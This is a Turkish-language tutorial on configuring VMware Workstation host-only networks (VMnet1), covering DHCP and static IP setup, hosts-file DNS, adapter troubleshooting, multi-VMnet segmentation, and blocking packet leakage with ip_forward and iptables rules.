VMware Workstation Host-Only Ağ Bağlantısı ve VMnet1 ile İzole Ağ

VMware Workstation’da sanal ağ denince akla dört mod gelir: Bridged (Köprü Ağı), sanal makine İnternet Paylaşımı (NAT), Custom (Özel Ağ) ve Host-Only. Bu rehberde üçüncüsüne odaklanıyoruz. Yani tamamen izole bir yerel ağ segmentine.

Bu mod özellikle siber güvenlik, yazılım testi ve izole laboratuvar için biçilmiş kaftan. Peki bu ağı bu kadar özel kılan ne? Kısacası, sanal makineleriniz ile ana makineniz arasında kapalı bir TCP/IP devresi kurar.

Bu yapıyı bir binadaki özel bir ağ bölümü gibi düşünün. Kapılar sadece sizin kontrolünüzde açılır. Dışarıdan hiçbir ağ paketi içeriye sızmaz. Üstelik içeride yaptığınız hiçbir iş fiziksel ağı etkilemez. İşte Host-Only mimarisinin vaadi bu katmanlı izolasyondur.

Şimdi bu yapının temel taşlarına inelim. VMware Workstation kurulumuyla gelen VMnet1 sanal anahtarı, ağın kalbini oluşturur. Ana makinenize eklenen VMware Network Adapter VMnet1 ise bu ağa bağlanan sanal Ethernet adaptörüdür. Bu iki bileşen sayesinde ana makineniz ve sanal makineleriniz aynı LAN üzerinde haberleşir.

Ancak unutmayın, bu ağ tamamen izole olduğu için sanal makineleriniz varsayılan ayarlarla internete çıkamaz. İnternet erişimi gerektiğinde ICS (Internet Connection Sharing) veya ek ağ geçidi yönlendirmesi devreye girer.

Host-Only Ağ Nedir? VMware’de İzole Sanal Ağın Temel Tanımı

Host-Only yapısının kalbinde VMnet1 sanal anahtarı yatar. VMware Workstation yüklemesinde otomatik oluşur. Bu sanal switch, tıpkı fiziksel bir Ethernet switch gibi çalışır. Üzerine bağlanan tüm makineler, aynı broadcast domain içinde katman-2 seviyesinde haberleşir.

Ana makinenizin tarafında ise VMware Network Adapter VMnet1 adında bir sanal Ethernet adaptörü belirir. Ana işletim sisteminiz bu adaptörü gerçek bir NIC gibi görür.

Ayrıca, ağ bağlantıları penceresinde “VMware Network Adapter VMnet1” olarak görürsünüz. Bu adaptör sayesinde ana makineniz, Host-Only ağındaki sanal makinelerle doğrudan TCP/IP iletişimi kurar.

Peki bu iki bileşen ağ katmanında nasıl haberleşir? Sanal makineniz bir Ethernet frame gönderdiğinde, paket önce VMnet1 sanal anahtarına ulaşır. Anahtar, frame’in hedef MAC adresine bakar. Hedef ana makine ise, paketi VMware Network Adapter VMnet1’e yönlendirir.

Fakat hedef başka bir sanal makine ise, paketi doğrudan o makinenin sanal ağ kartına iletir. Tüm bu trafik ana makinenizin kernel ağ katmanında gerçekleşir. Bu nedenle RTT süreleri fiziksel ağlara göre çok daha düşüktür.

VMnet1 Arayüzünü ve IP Adreslemesini Görüntüleme

Linux ana makinelerde bu ağ arayüzünü görmek için terminale ifconfig veya ip addr yazın. Karşınıza vmnet1 arayüzü çıkacaktır.

Windows’ta ise ipconfig /all komutu ile VMware Network Adapter VMnet1’in IP detaylarını görürsünüz. Genellikle 192.168.x.1 IP adresini alır ve C sınıfı bir özel subnet kullanır.

VMnet1 sanal anahtarı, Layer 2 seviyesinde tam bir ağ izolasyonu sağlar. Yani sanal makinelerinizden çıkan paketler, ana makinenizin fiziksel Ethernet kartına asla ulaşmaz.

Bu, hem ağ güvenliği hem de performans için büyük avantajdır. Ancak bu izolasyonu korumak için IP paket yönlendirme (IP forwarding) ayarlarına dikkat edin.

Host-Only Ağ Mimarisi: VMnet1 Sanal Anahtarı ve VMware Network Adapter VMnet1

VMnet1 sanal anahtarı, VMware Workstation’ın hypervisor ağ katmanının temel bileşenidir. Bu sanal switch, fiziksel bir Layer 2 switch’ten farklı olarak tamamen yazılım tabanlıdır.

Üstelik ana makinenizin kernel uzayında çalışır. Sistem, üzerinden geçen tüm TCP/IP paketlerini Ethernet frame’lerine sarar ve hedef sanal ağ kartına yönlendirir.

Ana makinenizdeki VMware Network Adapter VMnet1 adaptörünü host-only Ethernet olarak tanırsınız. Dahası, sistem bu sanal ağ adaptörünü ana işletim sisteminizin ağ yığınına ekler. Sonuç olarak adaptör, buraya bir sanal aygıt olarak yerleşir.

Windows’ta Aygıt Yöneticisi’nde “VMware Virtual Ethernet Adapter for VMnet1” adıyla yer alır. Linux’ta ise vmnet1 adında bir arayüz olarak belirir.

Bu ağ mimarisinin en güçlü yanı, sanal makineler arası trafiğin tamamen ana makinenin belleğinde yönlendirilmesidir.

Ethernet frame’leri fiziksel ağ kablosuna hiç dokunmaz. Bu sayede, sanal makineler arasında ölçülen RTT değerleri 0.27 ms’nin altına düşebilir. Bu, gerçek zamanlı TCP uygulamaları ve düşük gecikme gerektiren ağ testleri için mükemmel bir sonuçtur.

Paket Akışı ve Gelişigüzel Mod (Promiscuous Mode)

Sanal switch üzerindeki paket akışını anlamak için frame’lerin izlediği yolu takip edelim. Bir sanal makineden gönderilen TCP segmentini önce sanal ağ kartı sürücüsü işler.

Ardından VMnet1 sanal anahtarına iletir. Anahtar, frame’in hedef MAC adresini kontrol eder ve doğru sanal porta yönlendirir.

Hedef ana makine ise, paketi ana işletim sisteminin ağ katmanına aktarır. Hedef başka bir sanal makineyse, sistem paketi doğrudan o makineye teslim eder. Böylece paket, o makinenin konuk işletim sistemi ağ yığınına ulaşır.

Bu ağ topolojisinde dikkat etmeniz gereken önemli bir nokta, promiscuous mode ayarıdır. Bu ayar varsayılan olarak kapalıdır.

Bunun yanı sıra bu ayarı etkinleştirdiğinizde, sanal anahtar üzerinden geçen tüm Ethernet frame’lerini izleyebilirsiniz. Ağ paket analizi ve güvenlik testleri için faydalıdır. Ancak normal kullanımda kapalı tutmanızı öneririz.

Host-Only Ağ Ne İşe Yarar? İzole Test Ortamının Stratejik Önemi

Bu ağ yapısının stratejik değerini anlamak için gerçek dünya senaryolarına bakmak gerekir. Özellikle üç ana kullanım alanı öne çıkar: siber güvenlik, yazılım geliştirme ve sistem yönetimi. Her biri için bu izole ağ segmenti paha biçilmez bir kolaylık sağlar.

Siber güvenlik öğrencileri ve uzmanları için Host-Only ağı adeta bir oyun alanıdır. Kali Linux saldırgan VM ile Windows 10 kurban VM’ini aynı izole subnet’e bağlarsınız. Reverse shell simülasyonları, ağ sızma testleri ve zararlı yazılım analizlerini gönül rahatlığıyla yaparsınız. Çünkü bu yerel ağ, hava boşluklu sandbox görevi görür. Üstelik dışarıya tek bir IP paketi bile sızmaz.

Yazılım geliştiriciler için ise mikroservis testleri ve çok katmanlı uygulama senaryoları burada hayat bulur. Bir yanda veritabanı sunucusu, diğer yanda uygulama sunucusu, bir diğerinde önbellek katmanı…

Hepsi aynı özel LAN üzerinde TCP/IP ile haberleşir. Dış ağdan gelebilecek paket kaybı ve jitter test sonuçlarınızı etkilemez. Böylece daha tutarlı ve tekrarlanabilir ağ testleri yaparsınız.

Sistem yöneticileri için ağ segmentasyonu ve trafik izolasyonu kritik önem taşır. Host-Only ağı, farklı departmanları veya güvenlik seviyelerini simüle etmek için idealdir.

Örneğin, bir Active Directory lab ortamında DC01 corp.local domain controller’ı ile istemci makineleri aynı izole subnet’te buluşturabilirsiniz. Böylece gerçek bir kurumsal ağ topolojisinin provasını güvenle yaparsınız.

• Siber güvenlik: İzole sızma testi lab’ı, malware analizi, reverse shell simülasyonu.
• Yazılım geliştirme: Mikroservis testi, çok katmanlı uygulama testi, CI/CD izolasyonu.
• Sistem yönetimi: Active Directory lab, ağ segmentasyonu, güvenlik duvarı testleri.
• Eğitim: Öğrenciler için güvenli lab, eğitmenler için kontrollü sınav ortamı.

Bu kadar geniş kullanım yelpazesi, Host-Only ağını VMware Workstation’ın en güçlü ağ özelliklerinden biri yapar. Ancak bu gücü doğru yapılandırmanız ve yönetmeniz gerekir. İşte bu noktada devreye VMnet1 subnet yapılandırması girer.

VMnet1 Yapılandırması: Adım Adım Host-Only Ağ Kurulumu

VMnet1 sanal anahtarını yapılandırmak için önce VMware Workstation’ın Sanal Ağ Editörü’nü açın. Bu araç, tüm sanal switch’lerinizin kontrol merkezidir.

Sanal Ağ Editörü’nü açtığınızda solda VMnet0, VMnet1, VMnet8 gibi sanal anahtarları görürsünüz. VMnet1, varsayılan Host-Only ağıdır. Üzerine tıkladığınızda altta subnet IP adresi, alt ağ maskesi ve DHCP kapsamını görürsünüz.

Burada yapacağınız her değişiklik, IP routing table üzerinde anında etkili olur. Ancak değişiklikleri kaydetmek için mutlaka yönetici olarak çalıştırın.

Aşağıdaki adımlar, sıfırdan bir Host-Only ağ kurulumunu gösterir:

1. VMware Workstation’ı yönetici olarak başlatın. Windows’ta sağ tıklayıp “Yönetici olarak çalıştır” seçin. Linux’ta sudo vmware komutunu kullanın.
2. Edit menüsünden Virtual Network Editor’ü açın. Açılan pencerede “Change Settings” butonuna tıklayın. Bu buton, yönetici yetkisi ister.
3. VMnet1 sanal anahtarını seçin. Sol listede VMnet1’i bulun ve üzerine tıklayın.
4. Host-Only seçeneğini işaretleyin. Connect a host virtual adapter to this network” kutucuğunu durumunuza göre ayarlayın. Bunun yanı sıra “Use local DHCP service” kutucuğunu durumunuza göre ayarlayın.
5. Subnet IP adresini belirleyin. Varsayılan olarak 192.168.56.0 gibi bir adres görürsünüz. İsterseniz değiştirin.
6. DHCP kapsamını yapılandırın. DHCP kullanacaksanız kira süresini ve IP aralığını belirleyin. Kullanmayacaksanız kutucuğu boş bırakın.
7. Apply ve OK butonlarına tıklayın. Değişiklikleri hemen uygularsınız.

Birden Çok Sunucuya Özel Ağ Oluşturma

Bu adımları tamamladıktan sonra ana makinenizde VMware Network Adapter VMnet1 belirir. Sanal makinelerinizin ağ kartını “Custom: VMnet1” veya “Host-only: A private network shared with the host” olarak ayarlayın. Böylece bu subnet’e bağlanırlar.

Sanal Ağ Editörü Kullanımı: Yönetici Yetkisi ve VMnet1 Erişimi

Sanal Ağ Editörü, VMware Workstation’ın en güçlü ağ yönetim araçlarından biridir. Ancak bu gücü kullanmak için yönetici yetkisi şarttır.

Windows ana makinelerde Administrator olarak oturum açın. Linux’ta ise root erişimi gerekir. Aksi halde “Change Settings” butonu gri kalır ve hiçbir subnet değişikliği yapamazsınız.

Editörü açtığınızda her sanal switch için ayrı bir sekme görürsünüz. VMnet1 sekmesinde şu parametreler bulunur: Subnet IP, Subnet Mask, DHCP Settings ve NAT Settings.

“Host-Only” radyo butonunun seçili olduğundan emin olun. “Connect a host virtual adapter to this network” kutucuğunu işaretleyin. Bu, ana makinenizin ağa bağlanmasını sağlar.

Linux ana makinelerde Sanal Ağ Editörü’nü komut satırından açmak için vmnetcfg komutunu kullanın. Bu komut, grafik arayüzü başlatır.

Eğer grafik arayüz yoksa, /etc/vmware/vmnet1/dhcpd/dhcpd.conf dosyasını düzenleyerek DHCP ayarlarını yaparsınız. Ancak bu dosyadaki değişikliklerin bir sonraki Sanal Ağ Editörü açılışında sıfırlanabileceğini unutmayın.

Bu ağ ayarlarını yaptıktan sonra “Apply” butonuna tıklayın. VMware Workstation, arka planda gerekli servisleri (vmnetdhcp, vmnat) yeniden başlatır. Hata alırsanız, VMware hizmetlerinin çalışıp çalışmadığını kontrol edin.

İki Sanal Makine Arasında Host-Only Bağlantı Kurulumu ve Test Süreci

Şimdi teoriden pratiğe geçelim ve iki sanal makine arasında gerçek bir Host-Only bağlantısı kuralım. Bu bölümde Client1 ve Client2 adında iki sanal cihaz kullanacağız. Amacımız, bu iki makinenin birbiriyle haberleştiğini ve dış dünyadan izole kaldığını doğrulamak.

VMware Workstation’u ilk yüklediğinizde Virtual Network Editor varsayılan ayarlarla gelir. VMnet1’in zaten Host-Only modunda tanımlı olduğunu görürsünüz.

Dolayısıyla ekstra subnet yapılandırmasına genellikle gerek kalmaz. Yalnızca iki sanal makineyi açın ve ağ adaptörlerini bu sanal switch’e bağlayın.

Aşağıdaki adımları sırasıyla takip ederek iki VM arasında izole bir ağ bağlantısı kurun.

1. Sanal Makinelerin Ağ Adaptörlerini Host-Only Olarak Yapılandırın

Önce her iki sanal makinenin network adapter ayarlarını düzenleyin. Böylece makineler VMnet1 sanal switch’ine bağlanır.

Adım 1

Client1 makinesini yapılandırmak için Network Adapter seçeneğine tıklayın.

Adım 2

Ardından Client2 adlı diğer makineyi de aynı şekilde yapılandırın. Her iki makinenin ağ ayarlarını yaptıktan sonra VM’leri başlatın.

2. IP Adreslerini ipconfig ile Doğrulayın

Sanal makineler açıldığında VMware’in yerel DHCP servisi devreye girer. Dolayısıyla her iki VM otomatik olarak bir IP adresi alır.

Adım 3

Client1 makinesinde CMD’yi açın. Ardından komut istemine ipconfig yazın. Görselde makinenin 192.168.209.130 IP adresini aldığını görürsünüz.

Adım 4

Aynı şekilde Client2 makinesine tahsis edilen IP adresi de 192.168.209.129 olur.

Adım 5

Gördüğünüz gibi, Client1 ve Client2 sanal makineleri IP adreslerini aldı. Aslında bu adresleri VMnet1’in varsayılan bloğundan aldılar. Bunun için VMware’in yerel DHCP servisi çalıştı.

Şimdi Client1 makinesinden Client2 makinesine ICMP ping atarak bağlantıyı test edin.

Adım 6

Benzer şekilde, Client2 makinesinden Client1 makinesine de ping atın.

3. Windows Güvenlik Duvarı Sorununu Giderin

Ping işlemi başarısız olursa Windows Defender Firewall’u kontrol edin. Çünkü varsayılan ayarlarda sistem ICMP isteklerini engeller.

Adım 7

İlk olarak Denetim Masası’nı açın. Ardından Windows Güvenlik Duvarı bölümüne tıklayın.

Adım 8

Güvenlik Duvarı penceresini açtıktan sonra bir seçeneğe tıklayın. Bu sebeple, “Bir uygulamaya izin ver” seçeneğini seçerek ilerleyin.

Adım 9

Açılan pencerede yönetici haklarınız yoksa, Ayarları Değiştir butonuna tıklayın.

Adım 10

Dosya ve Yazıcı Paylaşımı özelliğini hem Özel hem de Ortak ağı için işaretleyin.

Adım 11

İzin verilen uygulamaları düzenledikten sonra OK butonuna tıklayarak pencereyi kapatın.

Adım 12

Client1 ve Client2 makineleri arasındaki bağlantıyı tekrar ping atarak kontrol edin. Bu sefer ping işlemi başarılı olur.

4. İzolasyonu Doğrulayın: Fiziksel Ağ ve İnternet Erişim Testi

Host-Only olarak yapılandırılmış tüm sanal makineler yalnızca birbiriyle haberleşir. Aşağıdaki testler bu izolasyonu somut olarak kanıtlar.

Önce Client1 ve Client2 makinelerinden fiziksel ağınıza ping atarak LAN bağlantısını kontrol edin. Aşağıdaki görselde Client1 makinesinin fiziksel ağa erişemediğini görürsünüz.

Aynı biçimde Client2 sanal makinesi de fiziksel ağa erişemez. Bu, Layer 2 izolasyonun çalıştığının kanıtıdır.

Bu ağ yapılandırmasında sanal makineler fiziksel ağa erişemediği gibi internete de çıkamaz. Client1 makinesinde bir web tarayıcı açın. Ardından www.google.com adresine gitmeyi deneyin. Sonuçta, VM’nizin internete bağlanamadığını görürsünüz.

Yine aynı yöntemle, Client2 makinesi de bu durumda başarısız olur.

VMware Host-Only Adaptör Görünmüyor Sorunu ve vnetlib Çözümü

Bazen Sanal Ağ Editörü’ndeki değişiklikler sonrasında ana makinenizde VMware Network Adapter VMnet1 görünmeyebilir.

Bu, özellikle Windows güncellemeleri sonrasında veya VMware Workstation yükseltmelerinde sık görülen bir adaptör sorunudur. Ağ bağlantıları penceresinde VMnet1 adaptörü yoksa, sanal makineleriniz ana makine ile TCP/IP iletişimi kuramaz.

Bu sorunu çözmenin en etkili yolu, vnetlib aracını kullanmaktır. Bu araç, VMware Workstation kurulum dizininde bulunur. Önce tüm VMware ağ servislerini durdurun. Ardından yönetici komut istemcisinde şu komutu çalıştırın:

vnetlib.exe -- install devices

Bu komut, eksik olan sanal ağ bağdaştırıcılarını yeniden kurar. İşlem tamamlandıktan sonra bilgisayarınızı yeniden başlatın.

Sorun devam ederse, Sanal Ağ Editörü’nü açıp “Restore Default” butonuna tıklayın. Bu işlem, tüm sanal switch ayarlarını varsayılana döndürür ve VMnet1 adaptörünü yeniden oluşturur.

Linux ana makinelerde ise vmware-networks --start komutunu kullanarak ağ hizmetlerini yeniden başlatın.

vmnet1 arayüzü hala görünmüyorsa, sudo modprobe vmnet komutu ile kernel modülünü yükleyin. Ardından sudo /etc/init.d/vmware start komutu ile ağ servislerini başlatın. Bu adımlar, çoğu adaptör sorununu çözer.

Çoklu Host-Only Ağ Oluşturma: VMnet2’den VMnet7’ye ve Ötesi

Tek bir izole subnet yeterli olmadığında, birden fazla Host-Only ağ oluşturun. Bu, özellikle karmaşık lab senaryolarında ve ağ segmentasyonu gereken durumlarda hayat kurtarır. Örneğin, bir Active Directory lab’ında DC01 sunucusunu bir subnet’e, istemci makineleri başka bir subnet’e koyabilirsiniz.

VMware Workstation, VMnet2’den VMnet7’ye kadar özel Host-Only ağlar oluşturmanıza izin verir. Windows ana makinelerde VMnet9-VMnet19 arasını da kullanırsınız.

Linux’ta ise VMnet10’dan VMnet255’e kadar geniş bir switch aralığı vardır. Her ağın kendi bağımsız subnet’i ve DHCP scope’u bulunur. Böylece subnet’ler arasında tam bir Layer 3 izolasyon sağlarsınız.

Yeni bir Host-Only ağ oluşturmak için Sanal Ağ Editörü’nde “Add Network” butonuna tıklayın. Açılan pencereden VMnet2’yi seçin. Yeni sanal switch otomatik olarak “Host-Only” modunda yapılandırın. Ardından subnet IP adresini ve DHCP ayarlarını yapın.

• VMnet2-VMnet7: Tüm ana makine türlerinde kullanabilirsiniz.
• VMnet9-VMnet19: Sadece Windows ana makinelerde etkinleştirebilirsiniz.
• VMnet10-VMnet255: Yalnızca Linux ana makinelerde geçerlidir.

Çoklu sanal switch yapısının en büyük avantajı, farklı güvenlik bölgelerini simüle etmenizdir. Örneğin, bir DMZ subnet’i, bir iç ağ subnet’i ve bir yönetim subnet’i oluşturun.

Her subnet arasında paket filtreleme kuralları tanımlayarak gerçek bir kurumsal ağ topolojisi kurun. Bu, hem eğitim hem de ağ test senaryoları için son derece değerlidir.

Host-Only IP Adresleme: DHCP, Statik IP ve Subnet Ayarları

Host-Only yapısının temelini IP adresleme oluşturur. Ağınızda sanal makinelere nasıl IP vereceğiniz, çalışma şeklinizi doğrudan etkiler. İki temel yöntem var: DHCP ile otomatik atama ve statik IP ile manuel yapılandırma. Her birinin avantajları ve kullanım senaryoları farklıdır.

DHCP’yi VMware Workstation’ın dahili DHCP sunucusu sağlar. Sanal makineleriniz açıldığında otomatik olarak bir IP adresi alır. Bu, hızlı kurulum ve dinamik ağ ortamları için idealdir.

Ancak bazı senaryolarda, özellikle sunucu makinelerde, IP adresi sabit kalmalıdır. İşte bu noktada statik IP yapılandırması devreye girer.

VMware’in DHCP sunucusunu vmnetdhcp servisi yönetir. Bu servis, her VMnet için ayrı bir yapılandırma dosyası kullanır.

Windows’ta bu dosyalar %PROGRAMDATA%\VMware\ dizinindedir. Linux’ta ise /etc/vmware/vmnet1/dhcpd/dhcpd.conf yolundadır. Bu dosyaları düzenleyerek DHCP scope’unu, lease time’ı ve diğer ağ parametrelerini değiştirirsiniz.

Bu tablodaki değerler, tipik bir Host-Only ağ yapılandırmasını yansıtır. İhtiyacınıza göre bu değerleri değiştirin. Örneğin, daha fazla sanal makine çalıştırıyorsanız, DHCP scope’unu genişletin. Ya da kira süresini kısaltarak IP adreslerinin daha sık yenilenmesini sağlayın.

VMware Host-Only DHCP Ayarları: Kapsam, Kira Süresi ve DHCP Kapatma

DHCP ayarlarını yapılandırmak için Sanal Ağ Editörü’nü kullanın. VMnet1 sanal anahtarını seçin. Ardından “Use local DHCP service to distribute IP address to VMs” kutucuğunu işaretleyin.

Ardından “DHCP Settings” butonuna tıklayın. Açılan pencerede başlangıç IP adresi, bitiş IP adresi ve kira süresi gibi parametreler yer alır. Bunun yanı sıra maksimum kira süresi gibi parametreleri de görürsünüz.

Kira süresi, bir sanal makinenin aldığı IP adresini ne kadar süreyle kullanacağını belirler. Varsayılan olarak 1800 saniye (30 dakika) ayarlanmıştır. Maksimum kira süresi ise 7200 saniyedir (2 saat).

Sanal makineleriniz sürekli açık kalıyorsa, bu süreleri uzatın. Ancak dinamik bir test ortamında, kısa kira süreleri IP adreslerinin daha verimli kullanılmasını sağlar.

Bazı durumlarda DHCP sunucusunu tamamen kapatmak istersiniz. Örneğin, tüm sanal makinelerinize statik IP atadıysanız, DHCP’ye gerek kalmaz. Bu durumda Sanal Ağ Editörü’nde “Use local DHCP service” kutucuğunun işaretini kaldırın.

Fakat DHCP kapatıldığında, sanal makineleriniz otomatik olarak IP alamaz. Bu nedenle her birine manuel olarak statik IP atayın.

DHCP scope’unu değiştirmek için “Start IP Address” ve “End IP Address” alanlarını kullanın. Örneğin, 192.168.56.100 ile 192.168.56.200 arasında bir IP aralığı tanımlayın.

Bu aralığın, ana makinenizin IP adresiyle (genellikle 192.168.56.1) çakışmadığından emin olun. Ayrıca, statik IP atayacağınız makineler için DHCP aralığının dışında IP adresleri seçin.

Host-Only Statik IP Atama: Sanal Makine Yerel Ağ Yapılandırması

Statik IP atamak, özellikle sunucu makineler için kritik önem taşır. Bir domain controller, DNS sunucusu veya veritabanı sunucusu her açıldığında aynı IP adresine sahip olmalıdır.

Aksi halde istemci makineler TCP bağlantısı kuramaz. Statik IP yapılandırması, işletim sistemine göre farklılık gösterir.

Windows sanal makinelerde statik IP atamak için şu adımları izleyin:

1. Ağ bağlantıları penceresini açın. ncpa.cpl komutunu çalıştırın.
2. Ethernet adaptörüne sağ tıklayın. “Özellikler” seçeneğini seçin.
3. IPv4’ü seçin ve Özellikler’e tıklayın.
4. “Aşağıdaki IP adresini kullan” seçeneğini işaretleyin.
5. IP adresi, alt ağ maskesi ve varsayılan ağ geçidi girin. Örneğin: IP: 192.168.56.10, Mask: 255.255.255.0, Gateway: 192.168.56.1.
6. DNS sunucusu girin. Host-Only ağda genellikle ana makine IP’sini veya bir DC IP’sini kullanırsınız.
7. OK butonuna tıklayın.

Linux sanal makinelerde ise ağ yapılandırma dosyasını doğrudan düzenleyin. Ubuntu/Debian tabanlı sistemlerde /etc/netplan/ dizinindeki YAML dosyasını düzenleyin.

CentOS/RHEL tabanlı sistemlerde /etc/sysconfig/network-scripts/ifcfg-ens33 dosyasını kullanın. Aşağıda örnek bir Netplan yapılandırması bulunur:

network:\n  version: 2\n  ethernets:\n    ens33:\n      dhcp4: no\n      addresses: [192.168.56.10/24]\n      gateway4: 192.168.56.1\n      nameservers:\n        addresses: [192.168.56.1, 8.8.8.8]

Bu ağ yapılandırmasını uygulamak için sudo netplan apply komutunu çalıştırın. CentOS/RHEL’de ise sudo systemctl restart network komutunu kullanın. Statik IP atadıktan sonra ping komutu ile ana makineye ve diğer sanal makinelere ICMP erişimini test edin.

Host-Only DNS Yapılandırması: hosts Dosyası ve DDNS Linux Kısıtlaması

DNS yapılandırması, Host-Only ağınızda isim çözümlemesi için kritik önem taşır. Sanal makineleriniz birbiriyle IP yerine hostname ile haberleşmek istiyorsa, bir DNS mekanizması kurun.

Ancak VMware’in dahili DHCP sunucusu, DDNS desteği sunmaz. Bu, önemli bir ağ kısıtlamasıdır ve çözüm için ek adımlar atmanız gerekir.

VMware Workstation’ın sanal DHCP sunucusu, DHCP lease bilgilerini bir DNS sunucusuna güncelleyemez.

Yani bir sanal makine DHCP ile IP alır. Ancak bu adres otomatik olarak bir DNS kaydına dönüşmez. Bu nedenle isim çözümlemesi için iki yöntem kullanın: hosts dosyası veya statik DNS kayıtları.

Hosts dosyası yöntemi, en basit ve hızlı çözümdür. Her sanal makinenin /etc/hosts (Linux) veya C:\Windows\System32\drivers\etc\hosts (Windows) dosyasına diğer makinelerin IP adreslerini ve hostname’lerini eklersiniz. Örneğin:

192.168.56.10   dc01.corp.local   dc01\n192.168.56.20   client01.corp.local   client01

Bu yöntem, küçük lab ortamları için idealdir. Ancak ağ büyüdükçe hosts dosyalarını güncel tutmak zorlaşır. Bu nedenle orta ve büyük ölçekli lab ortamlarında bir DNS sunucusu kurmak daha mantıklıdır.

Active Directory lab’larında DC01 sunucusu genellikle DNS rolünü de üstlenir. İstemci makinelerin DNS ayarlarını DC01’in IP adresine yönlendirin.

Linux ana makinelerde, /etc/vmware/vmnet1/dhcpd/dhcpd.conf dosyasını düzenleyerek DHCP sunucusuna DNS bilgilerini ekleyin.

Ancak bu dosyadaki değişikliklerin Sanal Ağ Editörü tarafından sıfırlanabileceğini unutmayın. Kalıcı çözüm için, DHCP yapılandırmasını harici bir dosyaya taşıyın veya kendi DHCP sunucunuzu kurun.

İleri Düzey Host-Only: Çoklu VMnet, Trafik İzolasyonu ve Paket Sızıntısı Önleme

Artık temel ağ yapılandırmasını geride bıraktık. Şimdi işin ileri seviye kısmına geçiyoruz. Host-Only ağınızı güvenlik ve performans için optimize etmek istiyorsanız, trafik izolasyonuna hakim olun.

Buna ek olarak paket sızıntısı önleme ve güvenlik duvarı kurallarına da hakim olun. Bu bölümde, lab ortamınızı bir ağ kalesi gibi sağlamlaştıracağız.

İzole bir subnet’in en büyük avantajı, dış dünyadan tamamen yalıtılmış olmasıdır. Ancak bu yalıtımı korumak için dikkat etmeniz gereken bazı noktalar var.

Özellikle IP forwarding yanlışlıkla açık kalırsa, sanal makinelerinizden çıkan IP paketleri fiziksel ağınıza sızar. Bu da hem güvenlik hem de gizlilik için ciddi riskler oluşturur.

Trafik izolasyonunu sağlamak için her VMnet’in kendi subnet’inde çalıştığından emin olun. Farklı Host-Only subnet’leri arasında yönlendirme yapmayın.

Sanal makineleriniz farklı ağ segmentlerinde haberleşecekse, bir sanal yönlendirici VM kullanın. Örneğin pfSense veya Linux router kullanabilirsiniz. Böylece IP routing table üzerindeki trafik akışını tamamen kontrol altında tutarsınız.

Aşağıdaki liste, ağ trafik izolasyonu için almanız gereken temel önlemleri özetler:

• Her VMnet için ayrı subnet kullanın. Aynı subnet’i paylaşan switch’lerde izolasyon olmaz.
• IP forwarding’i devre dışı bırakın. Ana makinenizde paket yönlendirme kapalı olsun.
• Güvenlik duvarı kuralları tanımlayın. VMnet1 arayüzüne gelen ve giden paketleri filtreleyin.
• Promiscuous mode’u kontrol edin. Gereksiz durumlarda bu modu kapatın.
• Paket filtreleme kullanın. iptables veya Windows Defender Firewall ile kurallar tanımlayın.

Bu önlemleri aldığınızda, Host-Only ağınız gerçek bir hava boşluklu sandbox ortamına dönüşür. Artık gönül rahatlığıyla zararlı yazılım analizi yapın, ağ sızma testleri gerçekleştirin ve hassas verilerle çalışın.

Host-Only Trafik İzolasyonu: Ağ Segmentasyonu Nasıl Yapılır?

Ağ segmentasyonu, Host-Only yapınızı daha da güçlendirmenin anahtarıdır. Tek bir izole subnet yerine, birden fazla izole subnet oluşturun. Bunun yanı sıra her birini farklı amaçlar için kullanın.

Örneğin, bir subnet’te saldırgan makineleri barındırın. Ayrıca başka bir subnet’te kurban makinelerini konumlandırın. Üstelik üçüncü bir subnet’te ise analiz araçlarını tutun.

Böylece bir segment’teki güvenlik ihlali diğerlerine yayılamaz. Bu yaklaşımını merak ediyorsanız, VMware Workstation LAN Segment rehberimiz alternatif bir bakış sunar.

VMware Workstation’da çoklu sanal switch yapısını kullanarak bu segmentasyonu kolayca sağlayın. Her VMnet için farklı bir subnet seçin.

Örneğin: VMnet1 (192.168.10.0/24) yönetim ağı, VMnet2 (192.168.20.0/24) saldırgan ağı, VMnet3 (192.168.30.0/24) kurban ağı. Sanal makinelerinizin ağ kartlarını bu switch’lere bağlayın.

Segmentasyonu daha da ileri götürmek için, her subnet arasında bir güvenlik duvarı VM’i konumlandırın.

Örneğin, pfSense veya OPNsense gibi bir firewall dağıtımı kullanarak subnet’ler arası trafiği kurallara göre yönetin. Bu, gerçek bir kurumsal ağ topolojisini simüle etmenizi sağlar. Ayrıca, VLAN yapılandırması ile Layer 2 seviyesinde de segmentasyon yapın.

Segmentasyonun bir diğer avantajı da performanstır. Farklı subnet’ler arasındaki trafik izole olduğu için, bir segment’teki yoğunluk diğerini etkilemez.

Örneğin, bir subnet’te büyük veri transferi yaparken, diğer subnet’te düşük gecikmeli testler yapın. Bu, özellikle çoklu test senaryolarını paralel yürüten geliştiriciler için büyük kolaylık sağlar.

IP Paket Sızıntısı Önleme: ip_forward ve Paket Filtreleme Kuralları

Paket sızıntısı, Host-Only ağınızın en büyük düşmanıdır. Ana makinenizde IP paket yönlendirme açık kalırsa, ana makineniz yönlendirme yapar. Böylece sanal makinelerinizden çıkan IP paketlerini fiziksel Ethernet ağınıza yönlendirir.

Bu, hem güvenlik hem de gizlilik için ciddi risk oluşturur. Özellikle hassas verilerle çalışıyorsanız, paket sızıntısını mutlaka önleyin.

Linux ana makinelerde paket yönlendirmeyi kontrol etmek için /proc/sys/net/ipv4/ip_forward dosyasını kullanın. Bu dosyanın içeriği 1 ise yönlendirme açık, 0 ise kapalıdır. Kapatmak için root olarak şu komutu çalıştırın:

echo "0" > /proc/sys/net/ipv4/ip_forward

Bu ağ ayarını kalıcı hale getirmek için /etc/sysctl.conf dosyasına net.ipv4.ip_forward = 0 satırını ekleyin. Ardından sudo sysctl -p komutu ile ayarları yeniden yükleyin. Windows ana makinelerde ise IP routing varsayılan olarak kapalıdır.

Paket filtreleme, sızıntıyı önlemenin ikinci ayağıdır. Linux’ta iptables veya nftables kullanarak VMnet1 arayüzüne gelen ve giden Ethernet frame’lerini filtreleyin. Örneğin, aşağıdaki komut, VMnet1 arayüzünden fiziksel ağa giden trafiği engeller:

iptables -A FORWARD -i vmnet1 -o eth0 -j DROP

Bu firewall kuralı, Host-Only subnet’inden fiziksel ağa yönlendirilmek istenen tüm IP paketlerini düşürür. Windows’ta ise Windows Defender Firewall ile benzer ağ kuralları tanımlayın. Gelişmiş Güvenlik özellikli Windows Defender Firewall’da “Outbound Rules” altında yeni bir kural oluşturun.

Paket sızıntısını test etmek için basit bir yöntem kullanın. Sanal makinenizden fiziksel ağınızdaki bir cihaza ping komutu gönderin. ICMP yanıtı başarılı olursa, paketleriniz sızıyor demektir.

